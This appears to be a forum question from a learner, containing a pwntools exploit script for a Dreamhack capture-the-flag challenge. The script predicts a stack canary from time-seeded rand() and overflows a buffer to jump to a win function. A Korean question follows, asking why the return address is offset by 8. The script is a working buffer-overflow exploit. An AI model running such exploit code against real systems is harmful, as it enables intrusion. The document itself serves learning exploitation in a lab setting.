from ctypes import * from pwn import * p = remote('host3.dreamhack.games', 18719) libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6') libc.srand(libc.time(0)) p.recvuntil(': ') p.recvuntil('\n') payload = b'B'*16 canary = 0 for i in range(8): temp = canary << 8 canary = temp | libc.rand() & 0xff canary = canary.to_bytes(8, byteorder="little") print(p32(0x401291)) payload += canary payload += b'C'*16 + p64(0x401299) p.sendlineafter(': ', payload) p.interactive() payload += b'C'*16 + p64(0x401299)에서 왜 win의 주소인 0x401291에서 +0x8을 더해주는지 궁금합니다. 저걸 더해서 8바이트가 추가되는 건가요 ?